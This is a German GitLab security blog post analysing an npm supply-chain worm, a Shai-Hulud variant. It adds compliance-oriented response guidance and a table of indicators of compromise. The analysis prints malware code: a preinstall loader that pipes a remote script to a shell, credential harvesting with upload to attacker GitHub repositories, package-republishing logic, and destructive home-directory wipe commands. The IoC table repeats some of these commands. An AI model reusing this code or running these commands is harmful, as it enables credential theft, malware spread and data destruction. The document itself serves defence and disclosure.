[{"data":1,"prerenderedAt":761},["ShallowReactive",2],{"/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-de-de":38,"banner-de-de":441,"footer-de-de":451,"blog-post-authors-de-de-Michael Henriksen|Daniel Abeles":656,"blog-related-posts-de-de-gitlab-discovers-widespread-npm-supply-chain-attack":682,"assessment-promotions-de-de":712,"next-steps-de-de":751},{"id":4,"title":5,"authorSlugs":6,"body":9,"categorySlug":10,"config":11,"content":15,"description":9,"extension":27,"isFeatured":12,"meta":28,"navigation":12,"path":29,"publishedDate":20,"seo":30,"stem":34,"tagSlugs":35,"__hash__":37},"blogPosts/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","Gitlab Discovers Widespread Npm Supply Chain Attack",[7,8],"michael-henriksen","daniel-abeles",null,"security-labs",{"featured":12,"template":13,"slug":14},true,"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"title":16,"description":17,"heroImage":18,"body":19,"date":20,"category":10,"tags":21,"authors":24},"GitLab identifiziert aktiven Lieferketten-Angriff auf npm","Tutorial zur systematischen Bedrohungsanalyse mit IoC-Tabelle für sofortige Überprüfung deutscher Systeme. Koordinierte Reaktion erforderlich.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabs Vulnerability-Research-Team hat einen großflächigen aktiven Lieferketten-Angriff auf das npm-Ökosystem identifiziert. Die Bedrohung involviert eine hochentwickelte Malware-Variante mit destruktiven Fähigkeiten. Das interne Monitoring-System entdeckte mehrere infizierte Pakete mit einer weiterentwickelten Version der \"[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)\"-Malware.\n\nDie Analyse zeigt wurmartige Verbreitungsmechanismen, die automatisch weitere Pakete infizieren, die von betroffenen Entwicklerinnen und Entwicklern verwaltet werden. Am kritischsten ist die Entdeckung eines **\"Dead-Man's-Switch\"-Mechanismus**: Falls die Verbreitungs- und Exfiltrationskanäle der Malware gekappt werden, droht die Zerstörung von Nutzerdaten.\n\n**GitLab verwendet keine der schadhaften Pakete. Diese Erkenntnisse werden mit der Security-Community geteilt, um eine wirksame Reaktion zu ermöglichen.**\n\n## NIS2-Relevanz und Meldepflichten\n\nDieser Supply-Chain-Angriff fällt unter die NIS2-Richtlinie Artikel 21 (Cybersecurity-Risikomanagement-Maßnahmen) und Artikel 23 (Meldepflichten). Wesentliche und wichtige Einrichtungen in Deutschland müssen bei erkannten Kompromittierungen:\n\n- **Innerhalb 24 Stunden** eine Früherkennung an zuständige Behörden übermitteln\n- Systematische Risikobewertung der eigenen Lieferkette durchführen\n- Technische und organisatorische Maßnahmen zur Schwachstellenerkennung implementieren\n\nDSGVO Artikel 32 ist ebenfalls relevant: Die Credential-Exfiltration durch diese Malware stellt unbefugten Zugang zu personenbezogenen Daten dar und erfordert angemessene technische Sicherheitsmaßnahmen.\n\n## Reaktions-Checkliste für deutsche Unternehmen\n\n**Sofortige Überprüfung (innerhalb 1-2 Stunden):**\n\n1. **npm-Pakete scannen**: `npm audit` in allen Projekten ausführen\n2. **Filesystem-Scan**: Suche nach IoC-Indikatoren (siehe Tabelle unten)\n3. **GitHub-Repository-Check**: Suche nach \"Sha1-Hulud: The Second Coming\" in Beschreibungen\n4. **Token-Audit**: Überprüfung aller npm- und GitHub-Tokens auf unbefugte Zugriffe\n\n**Systematische Analyse (24-48 Stunden):**\n\n1. Prüfung aller `package.json`-Dateien auf `preinstall`-Scripts mit Bun-Installationen\n2. Netzwerkverkehr-Analyse auf Verbindungen zu unbekannten GitHub-Repositories\n3. Credential-Management-Review gemäß DSGVO Artikel 32\n\n**Koordinierte Reaktion:** Vermeidung von massenhafter Token-Sperrung ohne Abstimmung – der Dead-Man's-Switch könnte Datenverlust auf Tausenden Systemen auslösen.\n\n## Anatomie des Angriffs\n\nDas interne Monitoring-System, das Open-Source-Paket-Registries auf schädliche Pakete scannt, identifizierte mehrere npm-Pakete mit hochentwickelter Malware. Diese führt aus:\n\n- Harvesting von Credentials (GitHub, npm, AWS, GCP, Azure)\n- Exfiltration gestohlener Daten zu Attacker-kontrollierten GitHub-Repositories\n- Automatische Propagierung durch Infektion weiterer Pakete der Opfer\n- **Destruktive Payload, die bei Infrastruktur-Verlust aktiviert wird**\n\nMehrere infizierte Pakete sind bestätigt. Der wurmartige Propagierungsmechanismus bedeutet, dass viele weitere Pakete kompromittiert sein dürften. Die Untersuchung läuft, um den vollständigen Umfang zu erfassen.\n\n## Technische Analyse: Systematischer Bedrohungsverlauf\n\n![Mermaid-Chart des Angriffsverlaufs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\nDie systematische Analyse des Bedrohungsverlaufs zeigt sieben distinkte Stufen: Von der initialen Infektion über Credential-Harvesting und Exfiltration bis zur Supply-Chain-Propagierung. Der Dead-Man's-Switch bildet eine Entscheidungsverzweigung: Bei Infrastruktur-Zugriff erfolgt Exfiltration, bei Verlust beider Kanäle (GitHub und npm) wird Datenzerstörung ausgelöst.\n\nDiese systematische Darstellung ermöglicht es deutschen Sicherheitsteams, an mehreren Punkten der Kill Chain Detektionsmaßnahmen zu implementieren – ein Ansatz, der mit NIS2 Artikel 21 (mehrschichtige Sicherheitsmaßnahmen) harmoniert.\n\n### Initialer Infektionsvektor\n\nDie Malware infiltriert Systeme durch einen sorgfältig konzipierten mehrstufigen Ladeprozess. Infizierte Pakete enthalten eine modifizierte `package.json` mit einem Preinstall-Script, das auf `setup_bun.js` verweist. Dieses Loader-Script erscheint harmlos – es gibt vor, die Bun-JavaScript-Runtime zu installieren, ein legitimes Werkzeug. Der tatsächliche Zweck ist jedoch die Etablierung der Malware-Ausführungsumgebung.\n\n```javascript\n// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Lädt und installiert Bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Führt die eigentliche Malware aus\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nDer `setup_bun.js`-Loader lädt die Bun-Runtime oder lokalisiert sie auf dem System, führt dann die gebündelte `bun_environment.js`-Payload aus – eine 10 MB große obfuskierte Datei, die bereits im infizierten Paket vorhanden ist. Dieser Ansatz bietet mehrere Evasion-Schichten: Der initiale Loader ist klein und scheinbar legitim, während der eigentliche schädliche Code stark obfuskiert und in eine Datei gebündelt ist, die für beiläufige Inspektion zu groß ist.\n\n**ISO 27001 A.12.6-Relevanz:** Diese Evasion-Technik unterstreicht die Notwendigkeit systematischer Preinstall-Script-Überprüfung. Deutsche Unternehmen sollten CI/CD-Pipelines so konfigurieren, dass unerwartete Runtime-Downloads während Paket-Installationen gemeldet werden.\n\n### Credential-Harvesting\n\nNach Ausführung beginnt die Malware sofort mit Credential-Discovery über mehrere Quellen:\n\n- **GitHub-Tokens**: Suche in Umgebungsvariablen und GitHub-CLI-Konfigurationen nach Tokens beginnend mit `ghp_` (GitHub Personal Access Token) oder `gho_` (GitHub OAuth Token)\n- **Cloud-Credentials**: Enumeration von AWS-, GCP- und Azure-Credentials mittels offizieller SDKs, Prüfung von Umgebungsvariablen, Config-Dateien und Metadaten-Services\n- **npm-Tokens**: Extraktion von Tokens für Paket-Publishing aus `.npmrc`-Dateien und Umgebungsvariablen – gängige Speicherorte für sicher abgelegte sensible Konfigurationen und Credentials\n- **Filesystem-Scanning**: Download und Ausführung von Trufflehog, einem legitimen Security-Tool, um das gesamte Home-Verzeichnis nach API-Keys, Passwörtern und anderen Secrets in Konfigurationsdateien, Quellcode oder Git-History zu durchsuchen\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scannt das Home-Verzeichnis auf Secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Lädt Funde zum Exfiltrations-Repository hoch\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n**DSGVO Artikel 32-Implikation:** Diese umfassende Credential-Exfiltration stellt einen Fall von \"unbefugtem Zugang zu personenbezogenen Daten\" dar, wie in DSGVO Artikel 32 Absatz 2 beschrieben. Organisationen müssen technische Maßnahmen implementieren, um Credentials vom Filesystem zu isolieren – beispielsweise durch Nutzung von Secrets-Management-Systemen statt Umgebungsvariablen.\n\n### Exfiltrations-Netzwerk\n\nDie Malware nutzt gestohlene GitHub-Tokens, um öffentliche Repositories mit einer spezifischen Markierung in deren Beschreibung zu erstellen: \"Sha1-Hulud: The Second Coming.\" Diese Repositories dienen als Dropboxes für gestohlene Credentials und Systeminformationen.\n\n```javascript\nasync function createRepo(name) {\n  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Markierung zum späteren Auffinden\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Installiert GitHub-Actions-Runner für Persistenz\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installiert Self-Hosted-Runner\n  }\n\n  return repo;\n}\n```\n\n**Systematische Detektionsmöglichkeit:** Die explizite Markierung \"Sha1-Hulud: The Second Coming\" ermöglicht deutschen Sicherheitsteams eine reproduzierbare Suchmethode. Durch GitHub-Suche nach dieser exakten Zeichenfolge lassen sich kompromittierte Developer-Accounts systematisch identifizieren – ein Ansatz, der mit NIS2 Artikel 21 (Fähigkeit zur systematischen Vorfallserkennung) harmoniert.\n\nKritisch: Falls das initiale GitHub-Token unzureichende Berechtigungen besitzt, durchsucht die Malware andere kompromittierte Repositories mit derselben Markierung, um Tokens von anderen infizierten Systemen abzurufen. Dies schafft ein resilientes Botnet-artiges Netzwerk, in dem kompromittierte Systeme Access-Tokens teilen.\n\n```javascript\n// Token-Sharing im Malware-Netzwerk:\nasync fetchToken() {\n  // Suche auf GitHub nach Repositories mit Identifikations-Markierung\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Versuch, Tokens aus kompromittierten Repos abzurufen\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Token von anderem infizierten System nutzen\n    }\n  }\n  return null;  // Keine gültigen Tokens im Netzwerk gefunden\n}\n```\n\n**NIS2 Artikel 22-Relevanz:** Dieses selbstheilende Netzwerk erfordert koordinierte Sicherheits-Risikobewertungen kritischer Lieferketten. Einzelne Token-Sperrungen sind unzureichend – eine systematische, abgestimmte Reaktion ist erforderlich, um das Netzwerk zu stören, ohne den Dead-Man's-Switch auszulösen.\n\n### Supply-Chain-Propagierung\n\nMittels gestohlener npm-Tokens führt die Malware aus:\n\n1. Download aller vom Opfer verwalteten Pakete\n2. Injektion des `setup_bun.js`-Loaders in die Preinstall-Scripts jedes Pakets\n3. Bundling der schadhaften `bun_environment.js`-Payload\n4. Inkrementierung der Paket-Versionsnummer\n5. Republishing der infizierten Pakete zu npm\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download Original-Paket\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extraktion und Modifikation von package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Hinzufügen schadhaften Preinstall-Scripts\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Inkrementierung Version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundling Backdoor-Installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackaging und Publishing\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n**NIS2 Artikel 21(2)(d)-Implikation:** Dies illustriert Supply-Chain-Sicherheitsaspekte im Zusammenhang mit direkten Lieferanten und Service-Providern. npm-Token-Sicherheit wird zum kritischen Kontrollpunkt – Kompromittierung eines einzelnen Entwickler-Accounts führt zur exponentiellen Verbreitung über dessen gesamtes Paket-Portfolio.\n\n**Prävention:** Implementierung von OIDC-basierter keyless Authentication für npm-Publishing (wie in GitLab CI/CD verfügbar) eliminiert langlebige Tokens und reduziert das Credential-Theft-Risiko signifikant.\n\n## Der Dead-Man's-Switch\n\nDie Analyse deckte eine destruktive Payload auf, die zum Schutz der Malware-Infrastruktur gegen Takedown-Versuche konzipiert ist.\n\nDie Malware überwacht kontinuierlich ihren Zugang zu GitHub (für Exfiltration) und npm (für Propagierung). Falls ein infiziertes System Zugriff auf beide Kanäle simultan verliert, löst dies sofortige Datenzerstörung auf dem kompromittierten System aus. Auf Windows wird versucht, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben. Auf Unix-Systemen nutzt es `shred`, um Dateien vor Löschung zu überschreiben, wodurch Recovery nahezu unmöglich wird.\n\n```javascript\n// KRITISCH: Token-Validierungsfehler löst Zerstörung aus\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Versuch, GitHub-Zugang zu finden oder zu erstellen\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Suche nach Tokens in kompromittierten Repos\n\n    if (!fetchedToken) {  // Kein GitHub-Zugang möglich\n      if (npmToken) {\n        // Fallback zu reiner NPM-Propagierung\n        await El(npmToken);\n      } else {\n        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Überschreibt gelöschte Daten\n          ]);\n        } else {\n          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Überschreibt und löscht\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Entfernt leere Verzeichnisse\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\n**NIS2 Artikel 23-Implikation für Incident Response:** Dies schafft ein gefährliches Szenario. Falls GitHub massenweise die Repositories der Malware löscht oder npm Bulk-Revocation kompromittierter Tokens durchführt, könnten Tausende infizierter Systeme simultan Nutzerdaten zerstören. Die verteilte Natur des Angriffs bedeutet, dass jede infizierte Maschine unabhängig den Zugriff überwacht und bei erkanntem Takedown Löschung der Nutzerdaten auslöst.\n\n**Koordinierte Reaktionsplanung erforderlich:** Deutsche Unternehmen müssen NIS2 Artikel 23 (dreistufige Meldeverfahren) befolgen, aber auch vermeiden, voreilig Tokens zu sperren, ohne die Dead-Man's-Switch-Implikationen zu berücksichtigen. Systematische Planung mit zuständigen Behörden ist erforderlich.\n\n## Indicators of Compromise\n\nZur Unterstützung von Detection und Response: Umfassende Liste der identifizierten Key-Indicators of Compromise (IoCs).\n\n| Typ | Indikator | Beschreibung |\n| :---- | :---- | :---- |\n| **file** | `bun_environment.js` | Schadhafte Post-Install-Scripte in node\\_modules-Verzeichnissen |\n| **directory** | `.truffler-cache/` | Verstecktes Verzeichnis im User-Home für Trufflehog-Binary-Speicherung |\n| **directory** | `.truffler-cache/extract/` | Temporäres Verzeichnis für Binary-Extraktion |\n| **file** | `.truffler-cache/trufflehog` | Heruntergeladenes Trufflehog-Binary (Linux/Mac) |\n| **file** | `.truffler-cache/trufflehog.exe` | Heruntergeladenes Trufflehog-Binary (Windows) |\n| **process** | `del /F /Q /S \"%USERPROFILE%*\"` | Windows-Destruktiv-Payload-Befehl |\n| **process** | `shred -uvz -n 1` | Linux/Mac-Destruktiv-Payload-Befehl |\n| **process** | `cipher /W:%USERPROFILE%` | Windows-Secure-Deletion-Befehl in Payload |\n| **command** | `curl -fsSL https://bun.sh/install \\| bash` | Verdächtige Bun-Installation während NPM-Paket-Installation |\n| **command** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Windows-Bun-Installation via PowerShell |\n\n**Systematische Überprüfung:** Deutsche Sicherheitsteams können diese IoC-Tabelle für Filesystem-Scans nutzen. Die Präsenz eines dieser Indikatoren erfordert sofortige Isolation des betroffenen Systems und Token-Audit gemäß obiger Reaktions-Checkliste.\n\n## Ausblick\n\nDiese Kampagne repräsentiert eine Evolution in Supply-Chain-Angriffen: Die Androhung von Kollateralschäden wird zum primären Verteidigungsmechanismus für die Attacker-Infrastruktur. Die Untersuchung läuft, während die Zusammenarbeit mit der Community erfolgt, um den vollständigen Umfang zu verstehen und sichere Remediation-Strategien zu entwickeln.\n\nGitLabs automatisierte Detektionssysteme überwachen kontinuierlich auf neue Infektionen und Varianten dieses Angriffs. Durch frühzeitiges Teilen der Erkenntnisse soll der Community geholfen werden, wirksam zu reagieren und dabei die Fallstricke des Dead-Man's-Switch-Designs zu vermeiden.\n\n**Für deutsche Unternehmen:** Nutzen von GitLabs internen Monitoring-Fähigkeiten durch Integration von Dependency-Scanning in CI/CD-Pipelines. Dies ermöglicht systematische Früherkennung schadhafter Pakete vor Production-Deployment – ein Ansatz, der sowohl NIS2 Artikel 21 als auch DSGVO Artikel 32 erfüllt.","2025-11-24",[22,23],"security","security research",[25,26],"Michael Henriksen","Daniel Abeles","yml",{},"/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":31,"title":16,"description":33},{"noIndex":32},false,"Die Malware enthält einen 'Dead-Man's-Switch'-Mechanismus, der bei Unterbrechung der Infrastruktur Nutzerdaten zerstören kann. NIS2-Meldepflicht beachten.","de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[22,36],"security-research","umJ63YBD8f8Xpp-Ss0HlhB0VqBSmvGIoWkcBTWjfWr0",{"data":39},{"logo":40,"freeTrial":45,"sales":50,"login":55,"items":60,"search":369,"minimal":404,"duo":422,"pricingDeployment":431},{"config":41},{"href":42,"dataGaName":43,"dataGaLocation":44},"/de-de/","gitlab logo","header",{"text":46,"config":47},"Kostenlose Testversion anfordern",{"href":48,"dataGaName":49,"dataGaLocation":44},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":51,"config":52},"Vertrieb kontaktieren",{"href":53,"dataGaName":54,"dataGaLocation":44},"/de-de/sales/","sales",{"text":56,"config":57},"Anmelden",{"href":58,"dataGaName":59,"dataGaLocation":44},"https://gitlab.com/users/sign_in/","sign in",[61,88,184,189,290,350],{"text":62,"config":63,"cards":65},"Plattform",{"dataNavLevelOne":64},"platform",[66,72,80],{"title":62,"description":67,"link":68},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":69,"config":70},"Erkunde unsere Plattform",{"href":71,"dataGaName":64,"dataGaLocation":44},"/de-de/platform/",{"title":73,"description":74,"link":75},"GitLab Duo Agent Platform","Agentische KI für den gesamten Softwareentwicklungszyklus",{"text":76,"config":77},"Lerne GitLab Duo kennen",{"href":78,"dataGaName":79,"dataGaLocation":44},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":81,"description":82,"link":83},"Gründe, die für GitLab sprechen","Erfahre, warum Unternehmen auf GitLab setzen",{"text":84,"config":85},"Mehr erfahren",{"href":86,"dataGaName":87,"dataGaLocation":44},"/de-de/why-gitlab/","why gitlab",{"text":89,"left":12,"config":90,"link":92,"lists":96,"footer":166},"Produkt",{"dataNavLevelOne":91},"solutions",{"text":93,"config":94},"Alle Lösungen anzeigen",{"href":95,"dataGaName":91,"dataGaLocation":44},"/de-de/solutions/",[97,122,144],{"title":98,"description":99,"link":100,"items":105},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":101},{"icon":102,"href":103,"dataGaName":104,"dataGaLocation":44},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[106,110,113,118],{"text":107,"config":108},"CI/CD",{"href":109,"dataGaLocation":44,"dataGaName":107},"/de-de/solutions/continuous-integration/",{"text":73,"config":111},{"href":78,"dataGaLocation":44,"dataGaName":112},"gitlab duo agent platform - product menu",{"text":114,"config":115},"Quellcodeverwaltung",{"href":116,"dataGaLocation":44,"dataGaName":117},"/de-de/solutions/source-code-management/","Source Code Management",{"text":119,"config":120},"Automatisierte Softwarebereitstellung",{"href":103,"dataGaLocation":44,"dataGaName":121},"Automated software delivery",{"title":123,"description":124,"link":125,"items":130},"Sicherheit","Entwickle schneller, ohne die Sicherheit zu gefährden",{"config":126},{"href":127,"dataGaName":128,"dataGaLocation":44,"icon":129},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[131,135,140],{"text":132,"config":133},"Application Security Testing",{"href":127,"dataGaName":134,"dataGaLocation":44},"Application security testing",{"text":136,"config":137},"Schutz der Software-Lieferkette",{"href":138,"dataGaLocation":44,"dataGaName":139},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":141,"config":142},"Software Compliance",{"href":143,"dataGaName":141,"dataGaLocation":44},"/de-de/solutions/software-compliance/",{"title":145,"link":146,"items":151},"Bewertung",{"config":147},{"icon":148,"href":149,"dataGaName":150,"dataGaLocation":44},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[152,156,161],{"text":153,"config":154},"Sichtbarkeit und Bewertung",{"href":149,"dataGaLocation":44,"dataGaName":155},"Visibility and Measurement",{"text":157,"config":158},"Wertstrommanagement",{"href":159,"dataGaLocation":44,"dataGaName":160},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":162,"config":163},"Analysen und Einblicke",{"href":164,"dataGaLocation":44,"dataGaName":165},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":167,"items":168},"GitLab für",[169,174,179],{"text":170,"config":171},"Enterprise",{"href":172,"dataGaLocation":44,"dataGaName":173},"/de-de/enterprise/","enterprise",{"text":175,"config":176},"Kleinunternehmen",{"href":177,"dataGaLocation":44,"dataGaName":178},"/de-de/small-business/","small business",{"text":180,"config":181},"den öffentlichen Sektor",{"href":182,"dataGaLocation":44,"dataGaName":183},"/de-de/solutions/public-sector/","public sector",{"text":185,"config":186},"Preise",{"href":187,"dataGaName":188,"dataGaLocation":44,"dataNavLevelOne":188},"/de-de/pricing/","pricing",{"text":190,"config":191,"link":193,"lists":197,"feature":277},"Ressourcen",{"dataNavLevelOne":192},"resources",{"text":194,"config":195},"Alle Ressourcen anzeigen",{"href":196,"dataGaName":192,"dataGaLocation":44},"/de-de/resources/",[198,231,249],{"title":199,"items":200},"Erste Schritte",[201,206,211,216,221,226],{"text":202,"config":203},"Installieren",{"href":204,"dataGaName":205,"dataGaLocation":44},"/de-de/install/","install",{"text":207,"config":208},"Kurzanleitungen",{"href":209,"dataGaName":210,"dataGaLocation":44},"/de-de/get-started/","quick setup checklists",{"text":212,"config":213},"Lernen",{"href":214,"dataGaLocation":44,"dataGaName":215},"https://university.gitlab.com/","learn",{"text":217,"config":218},"Produktdokumentation",{"href":219,"dataGaName":220,"dataGaLocation":44},"https://docs.gitlab.com/","product documentation",{"text":222,"config":223},"Best-Practice-Videos",{"href":224,"dataGaName":225,"dataGaLocation":44},"/de-de/getting-started-videos/","best practice videos",{"text":227,"config":228},"Integrationen",{"href":229,"dataGaName":230,"dataGaLocation":44},"/de-de/integrations/","integrations",{"title":232,"items":233},"Entdecken",[234,239,244],{"text":235,"config":236},"Kundenerfolge",{"href":237,"dataGaName":238,"dataGaLocation":44},"/de-de/customers/","customer success stories",{"text":240,"config":241},"Blog",{"href":242,"dataGaName":243,"dataGaLocation":44},"/de-de/blog/","blog",{"text":245,"config":246},"Remote",{"href":247,"dataGaName":248,"dataGaLocation":44},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":250,"items":251},"Vernetzen",[252,257,262,267,272],{"text":253,"config":254},"GitLab-Services",{"href":255,"dataGaName":256,"dataGaLocation":44},"/de-de/services/","services",{"text":258,"config":259},"Community",{"href":260,"dataGaName":261,"dataGaLocation":44},"/community/","community",{"text":263,"config":264},"Forum",{"href":265,"dataGaName":266,"dataGaLocation":44},"https://forum.gitlab.com/","forum",{"text":268,"config":269},"Veranstaltungen",{"href":270,"dataGaName":271,"dataGaLocation":44},"/events/","events",{"text":273,"config":274},"Partner",{"href":275,"dataGaName":276,"dataGaLocation":44},"/de-de/partners/","partners",{"backgroundColor":278,"textColor":279,"text":280,"image":281,"link":285},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":282,"config":283},"the source promo card",{"src":284},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":286,"config":287},"Lies die News",{"href":288,"dataGaName":289,"dataGaLocation":44},"/de-de/the-source/","the source",{"text":291,"config":292,"lists":294},"Unternehmen",{"dataNavLevelOne":293},"company",[295],{"items":296},[297,302,308,310,315,320,325,330,335,340,345],{"text":298,"config":299},"Über",{"href":300,"dataGaName":301,"dataGaLocation":44},"/de-de/company/","about",{"text":303,"config":304,"footerGa":307},"Karriere",{"href":305,"dataGaName":306,"dataGaLocation":44},"/jobs/","jobs",{"dataGaName":306},{"text":268,"config":309},{"href":270,"dataGaName":271,"dataGaLocation":44},{"text":311,"config":312},"Geschäftsführung",{"href":313,"dataGaName":314,"dataGaLocation":44},"/company/team/e-group/","leadership",{"text":316,"config":317},"Team",{"href":318,"dataGaName":319,"dataGaLocation":44},"/company/team/","team",{"text":321,"config":322},"Handbuch",{"href":323,"dataGaName":324,"dataGaLocation":44},"https://handbook.gitlab.com/","handbook",{"text":326,"config":327},"Investor Relations",{"href":328,"dataGaName":329,"dataGaLocation":44},"https://ir.gitlab.com/","investor relations",{"text":331,"config":332},"Trust Center",{"href":333,"dataGaName":334,"dataGaLocation":44},"/de-de/security/","trust center",{"text":336,"config":337},"AI Transparency Center",{"href":338,"dataGaName":339,"dataGaLocation":44},"/de-de/ai-transparency-center/","ai transparency center",{"text":341,"config":342},"Newsletter",{"href":343,"dataGaName":344,"dataGaLocation":44},"/company/contact/#contact-forms","newsletter",{"text":346,"config":347},"Presse",{"href":348,"dataGaName":349,"dataGaLocation":44},"/press/","press",{"text":351,"config":352,"lists":353},"Kontakt",{"dataNavLevelOne":293},[354],{"items":355},[356,359,364],{"text":51,"config":357},{"href":53,"dataGaName":358,"dataGaLocation":44},"talk to sales",{"text":360,"config":361},"Support-Portal",{"href":362,"dataGaName":363,"dataGaLocation":44},"https://support.gitlab.com","support portal",{"text":365,"config":366},"Kundenportal",{"href":367,"dataGaName":368,"dataGaLocation":44},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":370,"login":371,"suggestions":378},"Schließen",{"text":372,"link":373},"Um Repositories und Projekte zu durchsuchen, melde dich an bei",{"text":374,"config":375},"gitlab.com",{"href":58,"dataGaName":376,"dataGaLocation":377},"search login","search",{"text":379,"default":380},"Vorschläge",[381,383,388,390,395,400],{"text":73,"config":382},{"href":78,"dataGaName":73,"dataGaLocation":377},{"text":384,"config":385},"Code Suggestions (KI)",{"href":386,"dataGaName":387,"dataGaLocation":377},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":107,"config":389},{"href":109,"dataGaName":107,"dataGaLocation":377},{"text":391,"config":392},"GitLab auf AWS",{"href":393,"dataGaName":394,"dataGaLocation":377},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":396,"config":397},"GitLab auf Google Cloud",{"href":398,"dataGaName":399,"dataGaLocation":377},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":401,"config":402},"Warum GitLab?",{"href":86,"dataGaName":403,"dataGaLocation":377},"Why GitLab?",{"freeTrial":405,"mobileIcon":410,"desktopIcon":415,"secondaryButton":418},{"text":406,"config":407},"Kostenlos testen",{"href":408,"dataGaName":49,"dataGaLocation":409},"https://gitlab.com/-/trials/new/","nav",{"altText":411,"config":412},"GitLab-Symbol",{"src":413,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":411,"config":416},{"src":417,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":199,"config":419},{"href":420,"dataGaName":421,"dataGaLocation":409},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":423,"mobileIcon":427,"desktopIcon":429},{"text":424,"config":425},"Erfahre mehr über GitLab Duo",{"href":78,"dataGaName":426,"dataGaLocation":409},"gitlab duo",{"altText":411,"config":428},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":430},{"src":417,"dataGaName":414,"dataGaLocation":409},{"freeTrial":432,"mobileIcon":437,"desktopIcon":439},{"text":433,"config":434},"Zurück zur 